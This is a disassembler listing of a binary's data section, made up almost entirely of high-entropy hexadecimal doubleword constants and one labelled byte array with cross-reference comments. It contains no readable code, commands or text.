		dd 9A90E1C0h, 8629801Ah, 57AD0059h, 747801E8h, 0A3014698h
		dd 7BA52180h, 43F4B8A7h, 0AF520022h, 77E9B08Dh,	0B9001B40h
		dd 57FB5EBAh, 7D44FA02h, 0ABEA003Ah, 777641D6h,	0F900D8C4h
		dd 7E7FA970h, 5E5C3Eh, 59359CF5h, 722A5BB6h, 7092ED00h
		dd 0A38513EEh, 3E8A7CB5h, 9D809649h, 959CF1ADh,	8F07E61Fh
		dd 0F0E41882h, 13166900h, 93D7BD6h, 0E692FD30h,	0E985050Fh
		dd 0B4F400D3h, 6A38B86Ch, 0AC4E6600h, 0C7258764h, 59E10029h
		dd 44881207h, 74004589h, 4E6D5BDDh, 0EC97D941h,	74F90D4h
		dd 4758CA82h, 0F331A074h, 7800483Dh, 3A90B46Ch,	0BF1FFBh
		dd 0C5E26626h, 92BE5F28h, 76117C0Eh, 868E61CBh,	0B370DB4Bh
		dd 23A40017h, 37AAEF12h, 10BA67A3h, 15E59300h, 4E198573h
		dd 91EE002Eh, 98F26E3Fh, 9700E3EDh, 3E1DDB96h, 333BDA9h
		dd 6AA457E7h, 59F07B0Eh, 87007475h, 6E1B2A76h, 304F0DAEh
		dd 4A2C9E5Eh, 0D300F5CDh, 84678B08h, 5833DCCh, 24C975FEh
		dd 0B21F70h, 0DE326DF1h, 0AD2B376Fh, 7061094h, 0F040326Ch
		dd 110F4B0h, 17ABBEFFh,	0BC55E7F3h, 0AC04118h, 454C0366h
		dd 39CE9486h, 2C47B3A8h, 2ACCFA00h, 0D1801AD4h,	0E497014Ch
		dd 18538352h, 40C00110h, 0FD54AC0h, 4891F954h, 0DC49417Dh
		dd 20B43717h, 0AE005784h, 552306CEh, 3D7336h, 5346D658h
		dd 4CC32862h, 332D3F00h, 6B4502D4h, 0F4AA1F4Bh,	0DA313ADEh
		dd 0C8DC66E0h, 6320F6D5h, 0C6E21484h, 48006C50h, 0B4FA17F0h
		dd 6C0F7023h, 0C18F7EF9h, 24294571h, 0F6DC170h,	0B36233ABh
		dd 19041680h, 0D9003C6Eh, 21AE42A4h, 895AC3h, 5E80D8B6h
		dd 860E5593h, 8DFA1A1Dh, 0E007FD2h, 2AD7989h, 0DF5D0984h
		dd 74809A41h, 0EBD49B86h, 555BDA07h, 0A0F03732h, 623D35h
		dd 25B872B1h, 6C6EE584h, 4B141B1Dh, 0E04CF54Eh,	0DE36F95Fh
		dd 13110061h, 0F6348489h, 120054C5h, 65390B45h,	0F047A81Ch
		dd 338A0740h, 80EF5CF0h, 512EC55Eh, 31174601h, 0E5C88822h
		dd 69D67A87h, 3F658043h, 4C49BC94h, 0AEE80408h,	101A53C5h
		dd 5FC1041Fh, 108035F2h, 954CDCF3h, 62001E52h, 3C495D9Dh
		dd 0DB7C08h, 0D05C5F59h, 0D6EC856Ch, 0B6294A62h, 0FEFD0092h
		dd 7F007B0Fh, 0AE2C7C69h, 909FF39Ah, 36500CAh, 0CBDFC297h
		dd 0BD0166A2h, 36BC1948h, 0AECC91B3h, 67410039h, 0CB35ED1Fh
		dd 0B000B443h, 69051987h, 3B28A5h, 0E5F3AEF2h, 0C9D99491h
		dd 2CBC6500h, 1C3F5FA3h, 9BAD09C8h, 0D020AC68h,	0EEEC43EFh
		dd 836A1000h, 9E3FE523h, 56E6020Ch, 5DE709A4h, 5C3A8080h
		dd 9F07FCA8h, 0DCF287D9h, 77610430h, 721B012Ch,	6EE5AB3h
		dd 0C6A0C3D5h, 65004305h, 0DA6EC845h, 0EE5D909h, 0FEBE1C5Ch
		dd 25A37A00h, 28004393h, 0E546D79h, 63EF5Fh, 0A697CB7Fh
		dd 5CE8A803h, 1FF7A42Ch, 236FE90Eh, 8080023Dh, 0E25A174h
		dd 179862FCh, 20AF4D46h, 3DA52700h, 4F5A5849h, 14AB7BD6h
		dd 0E056806Ch, 3B12007Ah, 0ED8AC954h, 0F43F8F06h, 74048057h
		dd 0E5686DDBh, 71A4008Bh, 0EA1DAD39h, 97001CC5h, 46CF3B1Ah
		dd 37AC93h, 2B2716C2h
		dd 8A1EBF9Ah, 0F283B300h, 0EBE14904h, 0E7E2B6h,	56301852h
		dd 0BBA9F5FCh, 2B64D0A8h, 0A592FA07h, 9610B144h, 65E134h
		dd 0FDB527B2h, 0D4F4F870h, 21E87906h, 0F0398F9Ah, 0A87D0020h
		dd 0A2ECC4FFh, 2A000DF5h, 0C10B9E5Bh, 7D715D3h,	6187F78Ch
		dd 35AC709Fh, 3772EB2Dh, 129E2C0Eh, 5C03D2E6h, 0E8D8F0FAh
		dd 8E7B6Eh, 752CE72Dh, 0F3915288h, 40C44C0Eh, 0E8D16121h
		dd 27C8474Ah, 0B9B4583Bh, 30DA6C00h, 0A465E450h, 0BEC8C403h
		dd 0AA0C1Fh, 0E0321378h, 54E49807h, 0B633F51Ch,	44A4003Eh
		dd 0B35B9235h, 7F7905F6h, 80621F22h, 6AB1E1B3h,	0B240A860h
		dd 63AB3A0Dh, 0E0521173h, 2C269488h, 76B17C02h,	407E2D6Ah
		dd 249EA4AEh, 0F4C64B3h, 1A40FECFh, 3259DA91h, 923BF271h
		dd 78028005h, 0A7ABEB0Bh, 0F7F50061h, 482E4F9Dh, 3700C11Eh
		dd 0D4A80633h, 38E81A6Bh, 0B7808916h, 14B5E34Dh, 8A67A3C7h
		dd 15109010h, 5D5C0Eh, 0BA89F001h, 0C73207DAh, 87D72A00h
		dd 0DD035EADh, 92810019h, 0B9E7EF85h, 5C00805Dh, 6790694Ch
		dd 61E8DCh, 2D4A49F6h, 1E07388Ch, 1A3EB503h, 0BA50CC4Ch
		dd 0FD346941h, 1CF3A448h, 700EFEh, 7496A704h, 5512E656h
		dd 0DC48C02Ch, 0B29236h, 0C466C75Fh, 9E007539h,	0E41CAD9Ch
		dd 480D9F3Ch, 808E8CCh,	3D0F67DEh, 0F9801EFEh, 0B528E9A8h
		dd 34C10040h, 26B067EFh, 6C005BDFh, 4FE6C206h, 0FE2C19h
		dd 0C841559Bh, 1434B513h, 29CA3A09h, 3308091h, 75862B65h
		dd 0DB783E27h, 0C7187600h, 0D6161940h, 0F85D5600h, 0FD8FDF12h
		dd 37083DABh, 83C3F307h, 0C11CF09Fh, 413FF4AEh,	3E1BB869h
		dd 17619EC7h, 0E033638Fh, 981F62EAh, 1F17684h, 0B2E29BA3h
		dd 0D8B01B58h, 3E1246B8h, 0C494B2Ch, 4E2600E5h,	1DF61F92h
		dd 5CCE18C1h, 9F4AC03Ah, 4C3B33A8h, 83491E00h, 0DAB198E1h
		dd 240D0052h, 0EC81CB89h, 0FD098C01h, 2767F550h, 3504D08h
		dd 0F976690h, 0EEDD0C44h, 622080EEh, 0F6A7F20Eh, 9D9CF803h
		dd 0B0CCDCh, 0B4E1C7E6h, 0EC92D819h, 907DB02h, 40FF0650h
		dd 247D63D8h, 20B3EEh, 2D68C82Fh, 0F83A0B89h, 0BA608040h
		dd 68DCB3Ch, 0F7E400C4h, 0FB57747Ah, 0E4A8BFF8h, 4F8FDDFh
		dd 40761B26h, 80D10149h, 0DA70D660h, 6A940172h,	3FA8AD82h
		dd 89017AB1h, 86572F69h, 995E0CF4h, 0A61054h, 0DE2B4296h
		dd 65E762h, 9C04ED7Dh, 0D14407A4h, 0C35F8518h, 14FB828h
		dd 0A63665ADh, 20E6B1B6h, 0BD0014ACh, 2DE8F04Eh, 59B7EDEh
		dd 0C0075391h, 0BF6780F5h, 0DB00F86Ah, 2D1AFE8Ah, 0B5A6D5h
		dd 0D911DFC5h, 0C62F7829h, 884148h, 2A4424A8h, 394EF7Bh
		dd 54AC9AB2h, 0C0D74B8Ah, 499EBE4Eh, 0D457C32Ch, 9E7AE28Ah
		dd 0A4341930h, 0D2BB00C8h, 459EE8Fh, 883BC673h,	84DACh
		dd 0B8A4E544h, 0CC1C39h, 3C4C1DB5h, 0EB381166h,	2D01F3EEh
		dd 0BE5B7BECh, 0F2E01053h, 8B11C591h, 0C0B48217h, 670210A0h
		dd 4BA4A25h, 0AF83FF00h, 65FB78DCh, 37272EDAh, 640183E8h
		dd 0D1C077E4h, 0F53C0836h, 0AC4907ABh, 0CDD0FB98h, 0DA5F87h
		dd 368325CFh, 0C6DD16CCh, 0D6E95060h, 7FD63F6h,	0E8CB5548h
		dd 0FE974038h, 28943574h, 9C956092h, 5E286318h,	4CD75CA8h
		dd 0EEED830Fh, 2F722820h, 0B0C078B0h, 44489071h, 0C6690073h
		dd 0F8965DA1h, 7800C962h, 539B3403h, 0F47C8032h, 4C8C3AC7h
		dd 0EFE6C880h, 8F5FBA66h, 0C3D9B01Ch, 53517E80h, 9D1263h
		dd 47DE6596h, 0F7C46A4Dh, 0CF14CE0Ah, 9C00C975h, 546C8A7h
		dd 0F6A805F2h, 8084D589h, 475FB714h, 0FED04800h, 0E81F3945h
		dd 88C917EAh, 9FA80141h, 746CE367h, 69005BC8h, 0BEF9B0C8h
		dd 1D57103Bh, 1817A3B6h, 9072216Ah, 0C4FDB000h,	9BCFD709h
		dd 70A0004Ch, 0DDF2DCC0h, 72007C6Ah, 2218BACCh,	0ECDA33ACh
		dd 18466085h, 6840B292h, 2D6DB80h, 84354954h, 0B890110Bh
		dd 970EE387h, 3F37DCA1h, 8E09E4D8h, 0A720C07Bh,	0CFC962Bh
		dd 0F0B68200h, 0DE45AAE0h, 6741C059h, 942278B9h, 0C35A1B06h
		dd 2C701380h, 37A8EADCh, 0E4A3C188h, 46800615h,	97EE0204h
		dd 312FDCAEh, 36A4108Bh, 88DA0096h, 7812CE63h, 0E5003C39h
		dd 49EE79D5h, 60C1A366h, 9CE685Ah, 730080BAh, 0B6A40DF7h
		dd 7921534Ah, 96CB00E8h, 45BEA999h, 2400E73Ch, 797A3F8Dh
		dd 0F154C3h, 30A490CBh,	0E4619AECh, 0A1000CEAh,	2955F208h
		dd 73E9DC5h, 21ED6F82h,	0E6DBA08Ah, 14F6DEBEh, 41AC300h
		dd 0D070CC12h, 0DD1F06B4h, 11E2B3B6h, 11860485h, 0E6107A21h
		dd 0E4301225h, 90680ED8h, 6DB01AAh, 0F40B1103h,	86D65C3Ah
		dd 0DBEFA079h, 11AD4228h, 8C11FE66h, 0E53D115Dh, 2D084121h
		dd 9CA090FFh, 1521EBD1h, 0D9B1D400h, 25963CEh, 691763Eh
		dd 0C806014h, 0B93C5F6Dh, 3EE5F10Ch, 7170492h, 0B39767Ah
		dd 22E65061h, 9F4C32CEh, 0B782079Ch, 23507011h,	7D8ACB84h
		dd 0ABA3001Bh, 2413A4C8h, 5602E195h, 7170EC0Ah,	0F73CE050h
		dd 3A750082h, 0EEBD09B6h, 6B3A5C54h, 398100D8h,	1782C644h
		dd 2B1D1D50h, 69CB001Eh, 1B7CABE1h, 0CF727100h,	0C223E566h
		dd 93FEB6h, 28998BE9h, 541BAD40h, 34793E04h, 0CD8319A1h
		dd 660BE04Ch, 0D19A00D5h, 45E383C1h, 1F42CB4h, 44F9B100h
		dd 0A606B31Ch, 0BD7903ABh, 4E5B808Fh, 85DCE688h, 488ECABh
		dd 56003620h, 176FE79h,	0DB2662h, 4FCDEE03h, 0BE33718Dh
		dd 0D33F930Ah, 5E1F9AC1h, 3EE89801h, 67D004CAh,	1CA1003Bh
		dd 0BA7B28ECh, 1F099C9Fh, 0E12CC0h, 0ED58EB1Ch,	97FB0373h
		dd 0CBB4DF84h, 0C18C93B8h, 0D8D0C52Eh, 0CD011900h, 4804C8h
		dd 66B87959h, 620F578Ch, 0F546AA18h, 0F026039h,	82B3B0C2h
		dd 0F1D68FC7h, 60673F99h, 65063CF7h, 853B937h, 71F17758h
		dd 2E9A0095h, 0C5EECA03h, 2A055D9Ch, 0EB05EA3Dh, 8AE3E000h
		dd 3CA9B2B5h, 98801ACCh, 22EA81FEh, 0DA3BA13Ah,	0ABEA77D9h
		dd 99759F00h, 2AA7D79Bh, 39FF066Ah, 21F53DE6h, 0B60F74E2h
		dd 0E0A47973h, 5FE32AAh, 0BDD70762h, 458414h, 0DD4970B0h
		dd 0F048B700h, 61BB9233h, 0D5EB0EACh, 0A960DF16h, 0BDB6984Eh
		dd 382EBC90h, 1E07D764h, 8751E83Ch, 33E99520h, 0EE3E0C40h
		dd 79CE7C4Fh, 237674h, 5856722h, 0CA315BC5h, 1EB37600h
		dd 0CEA92F43h, 70CD48D1h, 0FCCF3Dh, 639A218Ah, 5A3C7B34h
		dd 5B17803h, 0AB770DBCh, 0F01898CCh, 7BC0C2A3h,	4405D0Fh
		dd 0E109013Dh, 0FD52A9h, 78771940h, 0D4EB0056h,	0DD9037E9h
		dd 0AD1232F4h, 4401530h, 5ADF96C4h, 558E1F1Ah, 0FF2280C3h
		dd 5F89FEFh, 0C280B00h,	0D9B8E935h, 0EC2B26A4h,	49C300B2h
		dd 0A778ABE2h, 740031E0h, 0F8007A6h, 0A09C5E37h, 2A08CF4h
		dd 1324ABA2h, 0C2C3B522h, 3D63ECB0h, 5D5AAE0Ch,	723F0861h
		dd 0B60328C8h, 9E3C00FCh, 88A842D5h, 0C3F07AE3h, 0D2C1B81Ch
		dd 0AF9A7980h, 0FCAEB72h, 1BFF4794h, 752C8A7h, 0AE4A51E7h
		dd 62C820A9h, 0E2145100h, 0F6C0692Fh, 4B6F03D6h, 7A9424B3h
		dd 0EFF7A0C8h, 620AC500h, 6F557498h, 9E780015h,	3C5BBB97h
		dd 900AE9Ch, 0EF54CBDBh, 3696CBDh, 0A44DE7B3h, 0D9FA6EBEh
		dd 0AD75A080h, 0E0B55D14h, 63BCCC4h, 9712302h, 540019ACh
		dd 127ECE0Ah, 7FCF80h, 3376B6E5h, 7762AF93h, 0CB433F00h
		dd 1D4DE183h, 98377B7Ch, 8765006Ch, 3B0A3ECAh, 0B33F2179h
		dd 7280D812h, 824F1B00h
		dd 53ED13Dh, 0BB33013Ch, 0EF0FE5A1h, 8C42088h, 5DAC8C00h
		dd 0D551D0C3h, 0EED4A032h, 343F2CAh, 0FEC794B2h, 81D40A21h
		dd 0DCD107B0h, 0B37A6B5Dh, 5567C501h, 44B5C10Ch, 0E0618C21h
		dd 1E346896h, 0C3211E07h, 645CAADFh, 45F34DC8h,	0C5F27D0Eh
		dd 3316E04Ch, 70DDAC6h,	0CA72C435h, 0FDB1B044h,	8E032057h
		dd 8FF4C321h, 905C000Dh, 513983E9h, 0E272E516h,	189D221Ch
		dd 0B620FC01h, 90F4192Fh, 5BBF0041h, 6E8F6527h,	0A800C8FDh
		dd 393CE587h, 79B46AC1h, 1E4C46h, 0D8E0B680h, 6019D9ABh
		dd 48501F2Ch, 763FC8h, 5C1802C5h, 6BBCAA72h, 201B0C30h
		dd 0BD69FF8h, 0B76C8187h, 4CA82600h, 0F8988EFEh, 0F2E0C700h
		dd 0A90878E4h, 4D110017h, 48C2734Fh, 73B86C4Eh,	1F21000h
		dd 41AC8992h, 0BC6B071Ch, 0F0E74676h, 0E28B2312h, 517D060Eh
		dd 27F4A093h, 0B750A0h,	0E107ED5Bh, 871C10D7h, 0F1AD2E00h
		dd 49E06045h, 324D0019h, 0B4D897D0h, 55717FDDh,	0EC282200h
		dd 5D42CE3h, 2B4E007Bh,	6DA715A1h, 3700477Ch, 6F3A3BEAh
		dd 2ADA334h, 385E624Fh,	6460A824h, 60E3194h, 20D5303Fh
		dd 0CDFCF04Dh, 39E9F2A4h, 2C4CDD01h, 2FD20F7Fh,	0DF81CBC7h
		dd 0D4F2A346h, 2900B17Ch, 7322027Fh, 55FEB9h, 0BF1591E4h
		dd 0A7A32CADh, 879F6000h, 4C2DF8AFh, 0E517A96h,	2F441AABh
		dd 4A2A0380h, 2100E6B5h, 3DCA0C69h, 9F72DAh, 821C90F3h
		dd 0FDB537D6h, 2BF7B000h, 0F5B69C1Fh, 0C7991E33h, 0A71A00DFh
		dd 45C0CC3Bh, 0C8DE48h,	1C5CE6DDh, 7B48D14h, 0AB3BA384h
		dd 0CDAE9h, 4686B293h, 873DC95Ah, 0EEFE0047h, 1AD7C49Ah
		dd 0C87000DFh, 0F5180B83h, 0EF243BDCh, 9D02C8A0h, 68B0820Eh
		dd 597425C4h, 0A10F80A5h, 5E80FD2Dh, 20E64617h,	8B14B970h
		dd 2CA078BCh, 3B0329CEh, 0A8824A34h, 0AE844Dh, 0F091AD35h
		dd 59E51CBh, 58B0A970h,	0B241E301h, 57A37645h, 2D0BFC32h
		dd 0BD04AD97h, 65DC80E7h, 7C002204h, 9CB4476h, 0FE2C371h
		dd 48993B25h, 40706D40h, 29C178BDh, 0E36C20B5h,	0E08FD6C0h
		dd 3ADC0335h, 0E06543A6h, 25C03FF3h, 110078CFh,	0CE9B3706h
		dd 1F7449F5h, 0D64DC038h, 0A35E00F4h, 9ACA6BECh, 5E16CE00h
		dd 81BBAF7Fh, 394C0953h, 2C00AAD0h, 9EF7F0EBh, 5EB64907h
		dd 9DE08AD2h, 0EECE0515h, 4375C5h, 0CC0A38C0h, 840BF99Eh
		dd 820C817Ch, 4240504Dh, 185D00E2h, 0C26ED930h,	4100C389h
		dd 0B7876819h, 72C00483h, 2F2EE62h, 313B81FDh, 0C0801BA1h
		dd 4C65CFC9h, 0DAD30C0Fh, 0B540FDB8h, 0C30705E2h, 6E7F009Ch
		dd 9B574B1Bh, 4A50F153h, 2524B00Ch, 0FE00A749h,	0E1397B4Bh
		dd 285000F2h, 4D049D38h, 7F1647FCh, 8406DA35h, 13786385h
		dd 46B1B9h, 0E0A671DEh,	877B26EDh, 0E13F920Eh, 2EF1C0ABh
		dd 6285EE49h, 0A63E011h, 0B6E74700h, 36BFCBBh, 694ABCD8h
		dd 681A56D6h, 0C01489D0h, 18F5057Ch, 7087C853h,	72731875h
		dd 8E4D5F00h, 0A4BB0F1Ch, 4FFE0B5h, 87861F9Ah, 618882E3h
		dd 0E4B1F4E0h, 0B94FC100h, 0A7D26DB6h, 26070080h, 999A8E15h
		dd 0FCF7D6BEh, 612E9C0h, 5C005B6Ah, 4E43681Bh, 0C0FFF1F0h
		dd 3B2E5867h, 28DC99FBh, 0AC294014h, 30107012h,	0A6895354h
		dd 592BAB01h, 0D6F2DE06h, 0BF6C20h, 9842C5F8h, 22E649E5h
		dd 40092C31h, 0A0708A60h, 0BA400E1h, 5DC37370h,	0D50B984Fh
		dd 0AF1AF7h, 91FCED1Ch,	0BA8A04Ch, 0CE1700F6h, 54138A07h
		dd 0C230842Ch, 0CB9352E3h, 94F50086h, 42CDBB4Dh, 8400701Ch
		dd 0B6C70E56h, 0F00150h, 0BF4EB71Fh, 9DB58AE2h,	0CD15CC00h
		dd 0F94C1C05h, 4F309D4h, 94A06E5Eh, 614953C0h, 0F1942600h
		dd 9D188F19h, 5C3B307Ch, 7F79619h, 7F0708E6h, 2A272B19h
		dd 0D2FE4D50h, 0E2391D53h, 3B81FD7Eh, 0C996A137h, 0A7F870C8h
		dd 8B4BBB00h, 741D8F21h, 4FB70502h, 0C7ED54B1h,	87145088h
		dd 0A1001373h, 8B25140h, 73BDF69Ah, 0F134122Fh,	0FD004601h
		dd 7000840h, 98478C9h, 584EEC3Bh, 0AE0EF0E1h, 232016CDh
		dd 0DB10B77Eh, 81E2CFCh, 0D068E9CBh, 113933Fh, 1FB273C9h
		dd 0E730D07Fh, 0AA5A0F87h, 297AF1A2h, 0FC2B82C1h, 0E13D73Ch
		dd 0E407C8DEh, 2EE0DC16h, 0A6263915h, 6CAA07E8h, 80A087CBh
		dd 0D85CB84Ch, 0E4990C9h, 2B00371h, 0EDE5C01Bh,	0FB65076Ah
		dd 349D3357h, 2574E0A1h, 0A4713C00h, 0FD9E32F6h, 80B9DFh
		dd 0FFB91C04h, 0B35CC6F0h, 7E2C00FCh, 869D1E16h, 4FE91262h
		dd 0D3100E58h, 9468ADECh, 0B45DFC01h, 1FC35B24h, 1DCE6C20h
		dd 41EC93D4h, 4837EB12h, 3F551735h, 0E1D1B0D0h,	840E0251h
		dd 4E28E7BEh, 588C3040h, 0A8382F7Dh, 0E5B20702h, 2770F5A4h
		dd 656CBB5h, 0F34B0B94h, 3E00102Ch, 0CC6CD304h,	48AFFFh
		dd 0D80ED2DBh, 0CA3F7559h, 0E2F6F4FEh, 7868AB00h, 0F787095Ah
		dd 0EB2405FBh, 92F52Ah,	74BDE0C0h, 0C901E831h, 0D7930AFEh
		dd 3034EFA5h, 0E8B467F1h, 0E24E1D8h, 6A67E075h,	0F9BF2A00h
		dd 7460DF1Eh, 7DDE0071h, 9E38A9A7h, 1F002477h, 0ADC5D962h
		dd 0DF87CEh, 0DDC3F9BAh, 59AE8C37h, 3D340A00h, 0D9EE10EAh
		dd 0EB61486h, 2548D073h, 29262A09h, 3E527810h, 660E377h
		dd 0E8577D19h, 0E8D9EC99h, 4B8C002Eh, 0F2A5D5E0h, 0A900801Bh
		dd 0F02AFCDEh, 269AE614h, 587591h, 96F39B0Ch, 5C09BCDFh
		dd 8F8F25A9h, 0E93C40A4h, 1DB9D6h, 4647E36h, 38CF1520h
		dd 30D9DB24h, 0EB590202h, 0CDBDE046h, 369126C2h, 6AFB8044h
		dd 81F6C12Bh, 0B1D3130Fh, 0CBF280AEh, 64DD04h, 44F566A6h
		dd 7D36BD26h, 0CE991500h, 9D32E3BBh, 4C0F493Ch,	6FC0CA24h
		dd 8C629B09h, 0BA325048h, 0DA45D617h, 52B01003h, 547CF812h
		dd 57D101E9h, 9C259D35h, 0C691F042h, 4700D498h,	93E65ACCh
		dd 5C309Bh, 8ECA801Fh, 0ED2BFB1Bh, 8002C98h, 135D53D9h
		dd 0D59FCDh, 84038F5Ah,	0CF3CBBACh, 3BBC2900h, 93E91A1h
		dd 63AB0127h, 7E0902Fh,	261C3CD4h, 0E7003488h, 58CFE870h
		dd 45A4000Dh, 5603815h,	23CEE62h, 6038CC2Ch, 12BF6528h
		dd 0EF9C01E4h, 648FAF4Ch, 144B20F9h, 0B36B600Fh, 0F700FF0Ch
		dd 6A1EBEC7h, 7649EB6h,	0E47ACE5Dh, 6378B4B7h, 425028B8h
		dd 3D00780Ch, 174F2491h, 0B81B392h, 30A83A98h, 0B78ED898h
		dd 24F1FD0Eh, 59EB27h, 8D690180h, 0F2ECF6h, 724C12D3h
		dd 0E027E8ADh, 18CEC40Fh, 3E8CC0E9h, 348D4EBh, 1E8A208Bh
		dd 7E90FA73h, 1F079BAEh, 30D5F766h, 0F8A959B3h,	24F67F35h
		dd 9B0BCC3h, 6800E1C0h,	7CBA2348h, 56A98B00h, 0A8CC6613h
		dd 0BC3400EFh, 6769ABA0h, 0B200DBBDh, 25B61265h, 3BA773Eh
		dd 20171B03h, 78D0F9A3h, 800B970Ah, 952DF5h, 0B6E316BAh
		dd 13C60748h, 2335AD9Dh, 0E000A184h, 0A2DFB886h, 0B5ED28h
		dd 8813FADDh, 8E1D83B2h, 0BD95D800h, 1285796Fh,	0D5213F7Ch
		dd 0C0D9B69Eh, 26FCC573h, 755493D6h, 110101C4h,	0BDEC5F7Ch
		dd 0B1F33615h, 86300DBFh, 38EE0053h, 5DCAF798h,	0A548A737h
		dd 80D915E2h, 0E1600098h, 0C7411810h, 54D7865h,	620A8123h
		dd 70ACD0B3h, 0DD0F128Fh, 60497C85h, 0CE782C64h, 98B42E94h
		dd 6F89041Eh, 639C91DDh, 8B1C40DAh, 6C1DBE60h, 58065081h
		dd 0F018A044h, 26F8A8h,	0F3C93D92h, 75FF6A5Bh, 2B7E8903h
		dd 0D0F2ABAAh, 167887C4h, 40CCF3BEh, 5598D0D4h,	2A482C74h
		dd 58804473h, 59C78E36h
		dd 10F10068h, 2C84E1BDh, 0B51C5DADh, 94C0300Ch,	0F3FC32BFh
		dd 2928A0CFh, 924A11Ch,	8649D4h, 0E494C9DBh, 0DF837701h
		dd 6E604603h, 0F0E8A32Ah, 7FC575D8h, 195D000Bh,	0EA8CC181h
		dd 990F9163h, 80C09576h, 0F89EFA75h, 0A169007Eh, 0B8DCC6ADh
		dd 0D1E0FEC8h, 0FDC79A2Ch, 90FD0A07h, 0E24C14C0h, 2C40F6AAh
		dd 0DDD702h, 51857718h,	0E8F4D1B3h, 326E7A24h, 0D9883900h
		dd 93504Fh, 84C29674h, 9F80BBE2h, 453D81EEh, 123D8FB8h
		dd 0A571C0BDh, 38DCCD8Eh, 5AAD8C5h, 0F81D00CCh,	409255B4h
		dd 0EA00F389h, 67F998B3h, 61FB212Ah, 51582866h,	3308A63h
		dd 7840F044h, 5EBB41h, 9632F381h, 14437284h, 0B608B11Fh
		dd 9C001CA4h, 331BCC2h,	39E1673Dh, 0C7A2C063h, 3FF886F2h
		dd 5519E360h, 76A89D9h,	0A04F7854h, 0E20028FAh,	0EA6808ACh
		dd 53B700ADh, 0B88EEC25h, 4102A6FDh, 0E1504459h, 0B6E4A0BEh
		dd 16E5228h, 8756BCEFh,	0FC6B8272h, 0C530559Fh,	33FCB883h
		dd 75F92A28h, 6D7A1Ch, 0AF1886A3h, 5C7C8738h, 0C409DE00h
		dd 0BD3E35Fh, 7D82AE0h,	8EA72C9Ch, 18800DDh, 9AC861Ah
		dd 0B70FC7E6h, 60E350D5h, 339DD86Bh, 0CCE20FA6h, 5987E145h
		dd 0E580DF15h, 1AE35823h, 7AAC1800h, 393FCFEBh,	5B2F015Ch
		dd 92CDDC78h, 0ECE5F09Bh, 0C806F800h, 737CA761h, 567658h
		dd 4034B41Ch, 4D10ECEAh, 3A5020DBh, 7D0C1421h, 54184BBFh
		dd 65984918h, 1FDD7230h, 7CBED5Ch, 0AF591D75h, 74C33938h
		dd 54A5EE00h, 5C6C4E0Eh, 0CA08CCDFh, 0C009D21h,	336E4E9h
		dd 6276B0CCh, 0B948501Bh, 65A5600h, 2A853CBCh, 0E5BA2E80h
		dd 8B494FAAh, 3F005E77h, 0ACEBDBC2h, 241E8C28h,	3A4965B6h
		dd 226BFD80h
		db 0CEh
byte_530055	db 73h,	0E2h, 47h	; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dd 3D09CCF8h, 0AAA38h, 42933AFFh, 602A07CAh, 2CCF7243h
		dd 0D30EF029h, 80FCACDFh, 424CEDC0h, 81F840h, 13B20487h
		dd 0C5CD92D5h, 2F47DD01h, 9AAA35Fh, 0F939B681h,	0CCA8B551h
		dd 0BA00CD40h, 1FA2FBE9h, 36E963Eh, 0D66714CFh,	3AE0AD98h
		dd 5801DECAh, 9B2B18E2h, 1880997Fh, 0E0261EA2h,	280F484Ch
		dd 0E03D7372h, 31A9FA0Fh, 0B0EE076Ah, 0C158D678h, 3FB79BFh
		dd 1B18A32h, 0D4B6383Ah, 47F22DE2h, 749B5600h, 0C6C1B425h
		dd 0DE9C37Bh, 4A78655Eh, 1303100Ch, 6F5398DAh, 0E587F07Dh
		dd 0D3FE60E7h, 4004C0Eh, 82292872h, 0B52B3Bh, 0C168DD3Dh
		dd 0F5B94A0Dh, 0BDFF7000h, 9E2A8E5Bh, 46880041h, 0CFE690F0h
		dd 431D7CA2h, 3EF8A5h, 3221D48Dh, 0C108376h, 38E9C995h
		dd 89F27208h, 29CD8D02h, 75350232h, 0C4F8D243h,	0A7005E64h
		dd 81CC2D71h, 63FC8F1h,	0C5607A62h, 0E003874h, 6ACFE3A7h
		dd 1F0C617h, 0CE1D0948h, 1702F4Eh, 60801F50h, 0E9DCE181h
		dd 0C10D7A61h, 206FC74Eh, 0B08D4999h, 4C221802h, 829D832h
		dd 5681158h, 97322ACEh,	0BBE080BEh, 7300D5E0h, 0C6300748h
		dd 1C0C65h, 4D2FBE8Ah, 0CACBCC2Ch, 80C23430h, 0E4D994EEh
		dd 0A98D4072h, 251F39F4h, 7886018Ch, 300809F7h,	0B42094C2h
		dd 1703397Dh, 0E9FB439Eh, 894906B0h, 604EEBBFh,	0FF10C0D8h
		dd 0BCF78051h, 0EB996A00h, 451181FEh, 0E5BB0058h, 5634DF0Dh
		dd 1E0092A8h, 69905B50h, 3BEE9FE8h, 648042EBh, 0B525F211h
		dd 410E5CD2h, 2BF29D5h,	0E19CEE8Bh, 37C0AFE5h, 0F54D009Fh
		dd 0F414ED5Ah, 29E2753Fh, 985CE500h, 3B05A2C7h,	0FF300084h
		dd 73908CEFh, 3D0028AEh, 82FCB354h, 0C283F7F0h,	38107918h
		dd 0CC3A33E0h, 152BB80Fh, 581B0C42h, 0E0973CFCh, 3312DC00h
		dd 1C32089Ch, 18061FF0h, 19765047h, 31551328h, 3C2B0336h
		dd 54D3439Bh, 216F0837h, 4FFF39E7h, 8091CB6Ch, 6777FC78h
		dd 85D0CA9h, 0E59847B9h, 59257526h, 2B1F8130h, 311438E9h
		dd 0B8FB340Eh, 77BC08B8h, 220158C0h, 2A1FBBE9h,	284219Ch
		dd 0F3272386h, 9CE1A3D5h, 832ED9C8h, 0E73C33B0h, 0FEC000CFh
		dd 4E53D9D8h, 0D10121E9h, 6B7454D0h, 1C70C61Dh,	0C50900F3h
		dd 51B3B211h, 99EE5EBCh, 95A0C900h, 5882785Ah, 91870054h
		dd 0AB40ADEDh, 131D4A97h, 6A00E603h, 0B4C5787Dh, 52230066h
		dd 0FCF45A4Bh, 0A500F02Ch, 814932CFh, 1864AC08h, 200BFA23h
		dd 0BA1FD44Ah, 7202BCD7h, 0C0B9E410h, 0CDF54B1h, 40B2F36Eh
		dd 0C21E8818h, 2A40050Eh, 0A442A32Fh, 0DDF20060h, 90219394h
		dd 901EDB4h, 24D81BF3h,	70E8C946h, 73F9FE06h, 0E0890D6Eh
		dd 0D3299201h, 0BD47E699h, 0CB700260h, 1F5048Bh, 0D2992729h
		dd 395C7D40h, 4E8CF00Eh, 0C8FC83E3h, 9403DDB1h,	0F01C02B4h
		dd 0A6174h, 0B618D772h,	6F6DE2ABh, 0A3851E00h, 0F5884ADDh
